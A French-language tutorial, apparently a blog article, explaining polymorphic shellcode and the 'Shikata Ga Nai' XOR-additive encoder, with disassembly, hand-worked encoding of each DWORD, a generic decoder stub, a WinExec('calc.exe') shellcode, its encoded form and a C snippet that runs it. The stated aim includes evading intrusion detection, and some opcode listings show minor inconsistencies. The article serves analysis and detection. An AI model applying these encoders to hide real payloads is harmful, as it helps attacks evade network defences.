I. Introduction
Le mot polymorphisme vient du grec et signifie
plusieurs formes.Ce terme a été employé en informatique pour la première fois
par un pirate bulgare portant le pseudonyme "Dark Avenger", ce
dernier ayant créé en 1992 le premier virus polymorphique.
L'objectif du code polymorphique est d'éviter la détection
tout en gardant son traitement qu'il doit effectuer.
Le polymorphisme est utilisé dans les shellcodes pour
camoufler les attaques sur un réseau.Il est vrai que de nos jours les IDS (Intrusion Detection System) répertorient la plupart des
structures de shellcodes d'exploit en claire.
C'est pourquoi le polymorphisme permet de passer outre
cette détection étant d'une forme différent pour la même charge utile.
I. Comprendre la structure d'un shellcode polymorphique
La
structure des shellcodes auto-déchiffrant est toujours la même : placer un
module permettant de déchiffrer au début, le shellcode de la charge utile chiffré à la suite.
Pour éviter les détections notre shellcode devra être encodé
mais pour qu'il fonctionne correctement nous devons lui ajouter un décodeur.
c'est cela le polymorphisme, plusieurs shellcode distinct, ayant le même traitement lors de l'exécution
Le décrypteur effectuera une opération arithmétiques sur
les opcodes du shellcode en crypté par bloque ou unitaire ( Phase 2) pour que
celui retrouve sa forme initial en mémoire avant de lui passer la main pour
être exécuté à la fin du décryptage ( Phase 3 )
I. L'analyse à partie d'un exemple basique
Nous allons regarder le fonctionnement classique du packer
"Shikata-ga-nai".Cette encodeur
implémente un "Polymorphic
Xor Additive"
Le décodeur "Shikata Ga Nai" est polymorphique, la
plupart de ses instructions peuvent etre remplaces ou même déplacées. En fait
il n’existe qu’un seul point fixe lié le GetPC ou GetEIP.
Dans notre exemple nous allons prendre qu'une des implémentations de celui-ci possible.
le GetPC ou GetEIP est le code permettant d'obtenir un point d'encrage dans
le code du shellcode qui continent le décrypteur. Cela pour déterminer l'emplacement ou
on il se trouve en mémoire et de la il peut fixer les l'emplacement des
autres instructions ou code. Et donc du début de la charge encrypté.
Il existe plusieurs moyen d'avoir un GetEIP (Call /
FNSTENV / SEH ... ) cela sera expliquer dans un
notre article
la façon de récupérer la valeur
d'EIP dans le cas du "Shikata Ga Nai" consiste à utiliser
l'instruction
FNSTENV
assez souvent, via un petit code nous allons montrer cela de manière pratique.
Pour bien comprendre l'appel des instructions permettant de
récupérer une référence dans le shellcode et une adresse permettant une
localisation notre emplacement dans le shellcode.
Voici la fonction C que nous allons utilisé pour notre étude du GetEIP
DWORD __declspec(naked)
GetTestAddrReturn(void)
{
__asm
{
sub esp,28
xor ecx,ecx
push eax
fcmovb st(0),st(7)
mov cl,0x08
fnstenv [esp-0xc]
pop eax
add
esp,28
ret
}
}
|
Les opcode X86 de notre fonction sont les suivant:
\x83\xEC\x1C\x33\xC9\x50\xDA\xC7\xB1\x08\xD9\x74\x24\xF4\x58\x83\xC4\x1C\xC3
|
Nous avons désassemblé celui-ci pour plus de lisibilité avec l'addresse relatif
00000000: 83 EC
1C SUB ESP,1Ch (On alloue
l'espace de 28 octets sur la stack)
00000003: 33 C9 XOR
ECX,ECX
00000005: 50 PUSH
EAX
00000006: DA C7 FCMOVB
ST(0),ST(7)
00000008: B1 08 MOV
CL,0x08
0000000A: D9 74 24 F4 FNSTENV [ESP-0Ch]
0000000E: 58 POP EAX
0000000F: 83 C4 1C ADD
ESP,1Ch
00000012: C3 RET
|
Nous avons utilisé un petit programme POC pour valider tout
ceci
Lors de l'appel la fonction, elle nous renvoi l'adresse
004012E6, nous voyons que l'adresse correspond l'instruction fcmovb
Un des particularités du décodeur "Shikata Ga Nai"
et qu'une partie du décodeur et lui même codé.
Il faut bien comprendre cela qui est la fameuse premier
passe ou il y changement du code du
décodeur.
Voici le code du décodeur fixé pour décoder que 4 octets ,nous avons mis
en gras les parties importante
00000000 31 C9 XOR ECX,ECX
00000002 DA C7 FCMOVB ST(0),ST(7)
00000004 B1 01 MOV CL,01h
00000006 D9 74 24 F4 FNSTENV
[ESP-0Ch]
0000000A BF 78 0F 5E F3 MOV EDI,0xF35E0F78
0000000F 5B POP EBX
00000010 31 7B 15 XOR DWORD PTR [EBX+15h],EDI
00000013: 03
7B 15 ADD EDI,DWORD
PTR [EBX+15h]
00000016: 83
BB 0B BC 06
|
Le DWORD en gras
0x06BC0BBB avec un XOR et la Clé 0xF35E0F78 donne 0xF5E204C3
donc le code suivant en mémoire changera et devient lors de
l'exécution
00000016: 83
C3 04 E2 F5
|
Ce qui transcrit en opcode devient
00000016: 83
C3 04 ADD EBX,04h
00000019:
E2 F5 LOOP 0x00000010
|
Nous on souhaite voir ce qui ce passe et les différentes clé
utilisé au fur et à mesure des décodages
Pour cela nous avons pris un shellcode particulier qui renvoye la prochaine clé en fonction du nombre d'appel de la boucle LOOP.
Voici ce que nous devons avoir en mémoire après le décodage ( C.A.D, c'est notre shellcode en claire)
00000000:
53 PUSH
EBX
00000001:
57 PUSH
EDI
00000002: 83 EC 1C SUB
ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:
33 C9 XOR
ECX,ECX
00000007:
50 PUSH
EAX
-------------------------------------------------------------------------------
REF GetEIP
00000008:
DA C7 FCMOVB
ST(0),ST(7)
0000000A:
B1 03 MOV
CL,0x03
0000000C:
D9 74 24 F4 FNSTENV
[ESP-0Ch]
00000010:
BF 78 0F 5E F3 MOV EDI,
F35E0F78h
00000015:
58 POP
EAX
00000016:
8B D8 MOV
EBX,EAX
00000018:
31 7B 17 XOR DWORD
PTR [EBX+17h],EDI
0000001B:
03 7B 17 ADD
EDI,DWORD PTR [EBX+17h]
0000001E:
83 C3 04 ADD
EBX,04h (ADD(r/m16,imm8))
00000021:
E2 F5 LOOP
F5h (-FFFFFFF5h=>:00000018) Dec ECX or CX jump if !=0
00000023:
83 C4 1C ADD
ESP,1Ch
00000026:
8B C7 MOV
EAX,EDI
00000028:
5F POP
EDI
00000029:
5B POP
EBX
0000002A:
C3 RET
|
Nous allons codé à la main notre shellcode avec le decrytor "Shikata
Ga Nai"
Nous allons regroupé les octets pour mieux mettre en valeur
et crée les codes encodé à la main pour l'exemple pédagogique car le décodeur "Shikata Ga Nai travail avec des DWORD ( 4 octets ).
Donc il faut que notre shellcode soit constuit en bloc 4 octets ou multiple si c'est pas le cas il faut simplement rajouter des octets quelconque pour completé par exemple ( 0x90 / NOP ... etc )
Dans notre cas nous avons volontairement pris un exemple collant parfaitement
00000000:
53 PUSH
EBX
00000001:
57 PUSH
EDI
00000002: 83 EC 1C SUB
ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:
33 C9 XOR
ECX,ECX
00000007:
50 PUSH
EAX
-------------------------------------------------------------------------------
REF GetEIP
00000008:
DA C7 FCMOVB
ST(0),ST(7)
0000000A:
B1 03 MOV
CL,0x03
0000000C:
D9 74 24 F4 FNSTENV
[ESP-0Ch]
00000010:
BF 78 0F 5E F3 MOV EDI,
F35E0F78h
00000015:
58 POP EAX
00000016:
8B D8 MOV
EBX,EAX
00000018:
31 7B 17 XOR DWORD
PTR [EBX+17h],EDI
0000001B:
03 7B 17 ADD
EDI,DWORD PTR [EBX+17h]
0000001E: 83 début de l'instruction ADD EBX,04h
(ADD(r/m16,imm8))
|
0000001F:
C3 04 E2 F5
00000023
83 C4 1C 8B
00000027
C7 5F 5B C3
|
La Key1 est 0xF35E0F78 et le premier DWORD est 0xF5E204C3,
donc nous aurons comme DWORD encodé (0xF35E0F78 ^ 0xF5E204C3 ) = 0x06BC0BBB
Nous allons donc obtenu la premier passe
00000000:
53 PUSH
EBX
00000001:
57 PUSH
EDI
00000002: 83 EC 1C SUB
ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:
33 C9 XOR
ECX,ECX
00000007:
50 PUSH
EAX
-------------------------------------------------------------------------------
REF GetEIP
00000008:
DA C7 FCMOVB
ST(0),ST(7)
0000000A:
B1 03 MOV
CL,0x01
0000000C:
D9 74 24 F4 FNSTENV
[ESP-0Ch]
00000010:
BF 78 0F 5E F3 MOV EDI,
F35E0F78h
00000015:
58 POP
EAX
00000016:
8B D8 MOV
EBX,EAX
00000018:
31 7B 17 XOR DWORD
PTR [EBX+17h],EDI
0000001B:
03 7B 17 ADD
EDI,DWORD PTR [EBX+17h]
0000001E: 83 début de l'instruction ADD EBX,04h
(ADD(r/m16,imm8))
|
0000001F: BB 0B
BC 06 - DWORD 1 ( Encodé )
00000023
83 C4 1C 8B
00000027
C7 5F 5B C3
|
Hors la clé contenu dans EDI à déjà changer suite à premier
passe. C'est l'une caractéristique à chaque bloc de 4 octets traité, la clé change.Et donc nous obtenons
EDI = 0xF35E0F78 + F5E204C3
=> 0xE940143B correspondant à
la clé Key2
La Key2 est maintenant 0xE940143B et le second DWORD
0x8B1CC483, donc nous aurons comme DWORD encodé (0xE940143B ^ 0x8B1CC483)
= 0x625CD0B8
Nous allons donc la deuxième passe encodé
00000000:
53 PUSH
EBX
00000001:
57 PUSH
EDI
00000002: 83 EC 1C SUB
ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:
33 C9 XOR
ECX,ECX
00000007:
50 PUSH
EAX
-------------------------------------------------------------------------------
REF GetEIP
00000008:
DA C7 FCMOVB
ST(0),ST(7)
0000000A:
B1 03 MOV
CL,0x02
0000000C:
D9 74 24 F4 FNSTENV
[ESP-0Ch]
00000010:
BF 78 0F 5E F3 MOV EDI,
F35E0F78h
00000015:
58 POP
EAX
00000016:
8B D8 MOV
EBX,EAX
00000018:
31 7B 17 XOR DWORD
PTR [EBX+17h],EDI
0000001B:
03 7B 17 ADD
EDI,DWORD PTR [EBX+17h]
0000001E: 83 début de l'instruction ADD EBX,04h
(ADD(r/m16,imm8))
|
0000001F: BB 0B
BC 06 - DWORD 1 ( Encodé )
00000023 8B D0
5C 62 - DWORD 2 ( Encodé )
00000027
C7 5F 5B C3
|
Hors la clé contenu dans EDI à de nouveau évolué suite à la
deuxième passe
EDI = 0xE940143B + 0x8B1CC483 => 0x745CD8BE correspondant à la clé Key3 pour notre
dernier DWORD à encodé
Donc nous aurons comme DWORD encodé (0x745CD8BE ^ 0xC35B5FC7) = 0xB7078779
Nous allons donc la troisième et dernière bloc encodé. Cela
nous donneau final
00000000:
53 PUSH
EBX
00000001:
57 PUSH
EDI
00000002: 83 EC 1C SUB
ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:
33 C9 XOR
ECX,ECX
00000007:
50 PUSH
EAX
-------------------------------------------------------------------------------
REF GetEIP
00000008:
DA C7 FCMOVB
ST(0),ST(7)
0000000A:
B1 03 MOV
CL,0x03
0000000C:
D9 74 24 F4 FNSTENV
[ESP-0Ch]
00000010:
BF 78 0F 5E F3 MOV EDI,
F35E0F78h
00000015:
58 POP
EAX
00000016:
8B D8 MOV
EBX,EAX
00000018:
31 7B 17 XOR DWORD
PTR [EBX+17h],EDI
0000001B:
03 7B 17 ADD
EDI,DWORD PTR [EBX+17h]
0000001E: 83 début de l'instruction ADD EBX,04h
(ADD(r/m16,imm8))
|
0000001F: BB 0B
BC 06 - DWORD 1 ( Encodé )
00000023 8B D0
5C 62 - DWORD 2 ( Encodé )
00000027 79 87
07 B7 - DWORD 3 ( Encodé )
|
Ce qui nous donne le Shellcode encodé avec le packer inclus "Shikata Ga Nai"
\x53\x57\x83\xEC\x1C\x33\xC9\x50\xDA\xC7\xB1\x03\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x17\x03\x7B\x17\x83\xBB
\x0B\xBC\x06\xB8\xD0\x5C\x62\x79\x87\x07\xB7
|
Nous voyant le décodage en mémoire suite à l'exécution, nous
retrouvons le shellcode initial
et la shellcode nous renvoi la prochaine Key4 qui est
0x37B83885
Nous pouvons contrôler
EDI = 0x745CD8BE +
0xC35B5FC7 => 0x37B83885 correspondant à la clé Key4
Maintenant nous
allons crée un programme en C pour la génération de n'importe qu'elle shellcode
via l'encodeur "Shikata Ga
Nai" étant un cas présentation nous gardons la limite d'un
shellcode inférieur à 256.
Maintenant si vous souhaitez étendre pour pouvoir gérer des
shellcodes supérieurs
Vous pouvez changer la ligne en rouge, nous avons un peu
changer la séquence des opcodes
pour que les offsets reste identique indépendamment de vos
changements sur le chargement de ECX
00000000:
53 PUSH
EBX
00000001:
57 PUSH
EDI
00000002: 50 PUSH
EAX
00000003: 83 EC 1C SUB
ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000006:
33 C9 XOR
ECX,ECX
00000008: B1 03 MOV
CL,0x01
-------------------------------------------------------------------------------
REF GetEIP
0000000A:
DA C7 FCMOVB
ST(0),ST(7)
0000000C:
D9 74 24 F4 FNSTENV
[ESP-0Ch]
00000010:
BF 78 0F 5E F3 MOV EDI,
F35E0F78h
00000015:
58 POP
EAX
00000016:
8B D8 MOV
EBX,EAX
00000018:
31 7B 17 XOR DWORD
PTR [EBX+15h],EDI
0000001B:
03 7B 17 ADD
EDI,DWORD PTR [EBX+15h]
0000001E: 83 début de l'instruction ADD EBX,04h
(ADD(r/m16,imm8))
|
Pour un shellcode ayant une taille entre 0 et 255
MOV CL,0xZZ Exemple => B1 12 mov cl,12h
Pour un shellcode ayant une taille entre 255 et 65535
MOV
CX,0xZZZZ Exemple
=> 66 B9 34 12 mov cx,1234h
Pour un shellcode ayant une taille entre 65536 et 4294967295
Mov ECX,0xZZZZZZZZ Exemple => B9 78 56 34 12 mov ecx,12345678h
Cela vous donne le model d'un Shellcode générique pour crée
des shellcodes polymorphic avec le codeur "Shikata Ga Nai"
\x53\x57\x50\x83\xEC\x1C\x33\xC9\xB1\x03\xDA\xC7\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x15\x03\x7B\x15\x83
\xBB\x0B\xBC\x06 \xB8\xD0\x5C\x62 \x79\x87\x07\xB7
|
Comme maintenant ce code est indépendant de type de taille
vous pouvez écrire cela changera rien au GetEIP étant fixé a pret la taille.
\x53\x57\x50\x83\xEC\x1C\x33\xC9\x66\xB9\x05\x01\xDA\xC7\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x15\x03\x7B\x15\x83
\xBB\x0B\xBC\x06 \xB8\xD0\x5C\x62 \x79\x87\x07\xB7
|
I. Générateur de Shellcode "shikata Ga Nai"
Nous allons prendre un shellcode standard qui effectue un
WinExec("calc.exe")
char Shellcode_SampleWinExecCalcX32[]=
"\x78\x35\x35\x8B\xEC\x51\x53\x57\xEB\x6D\x60\x8B\x6C\x24\x24\x8B"
"\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB"
"\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0"
"\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B"
"\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B"
"\x01\xE8\x89\x44\x24\x1C\x61\xC3\x56\x57\x33\xC9\x64\x8B\x71\x30"
"\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39"
"\x4F\x18\x75\xF2\x5F\x5E\xC3\x68\x98\xFE\x8A\x0E\xE8\xD7\xFF\xFF"
"\xFF\x50\xE8\x83\xFF\xFF\xFF\xBB\x11\x11\x11\x11\x81\xF3\x11\x11"
"\x11\x11\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xFC\x6A"
"\x01\x57\xFF\xD0\x5F\x5B\x8B\xE5\x5D\xC3";
|
vous pouvez test se shellcode via ce petit code C ( pour
rappel )
DWORD (*RunShellCode)() =
(DWORD(*)())((char*)(
Shellcode_SampleWinExecCalcX32[0]));
RunShellCode();
|
Nous utilisons notre générateur avec le model décrit plus
haut
Ce qui nous donne comme shellcode généré incluant le décodeur "Shikata Ga Nai"
\x53\x57\x50\x83\xEC\x1C\x33\xC9\xB1\x2E\xDA\xC7\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x15\x03\x7B\x15\x83\xBB
\x0B\xBC\x06\xB8\xD0\x5C\x62\x79\x87\x07\xE4\xFD\x0D\x8D\x8F\x11
\x3C\xBE\xD8\x02\xD2\x20\x6C\xB8\x09\x85\xF9\x05\x6E\x4E\xA9\x80
\xF6\x51\xB8\x01\x4C\x4A\xB7\x4F\x71\x6B\x2C\x8C\x45\x22\x39\x66
\x2D\xB5\xD3\xB7\xCE\x87\xEB\x4B\x9C\x6C\x2B\xC7\xDA\xAD\x63\x2A
\xE4\xEA\x97\xC0\xDD\x88\x43\x00\x57\x90\x07\x0A\xB3\x53\xF3\xCC
\x30\x5F\x48\x9B\x1D\x7C\x4F\x70\x2A\x78\xC4\x87\xC5\x08\x9E\xA3
\x09\x6A\xDC\xFD\x66\x5F\x2B\x65\x02\xEE\x9B\xEE\x62\x1D\x57\x86
\x96\x96\x21\x6E\x2C\xD6\x8D\xE5\x04\x41\xF7\xB6\x70\xF8\xF5\x17
\xDF\xC1\x92\x3F\x21\x4F\x6C\xD7\x09\xAF\x8E\xD8\xE6\xB8\xF2\xD9
\xF8\xC6\x4E\x34\x16\x28\xA0\xB7\xEB\x5B\xD3\xA6\x1A\x0F\xBB\xE6
\x79\xD7\x5E\x9E\xE2\x46\xCD\x3D\x6E\x74\x67\xC0\x27\x7A\xA8\x9D
\x9C\x0F\xAC\x7C\xE0\x10\xBF
|
Comme vous pouvez le voir le shellcode n'a plus rien à voir
avec celui en claire de la charge utile
Mais il fera lors de son exécution en mémoire le même
traitement le lancement du processus "calc.exe"
I. Conclusions
Il existe une multitude de codage
du packer "shikata Ga
Nai", mais cela vous permet de mieux comprendre le fonctionnement la principe de celui-ci
Dans une autre partie j'expliquerais quelque codage du packer "shikata Ga
Nai" qui son souvent retrouvé
dans des shellcodes. l'interêt et de pouvoir détecter si le shellcode X ou Y utilise celui-ci et lire la charge utile sans l'executé via une analyse.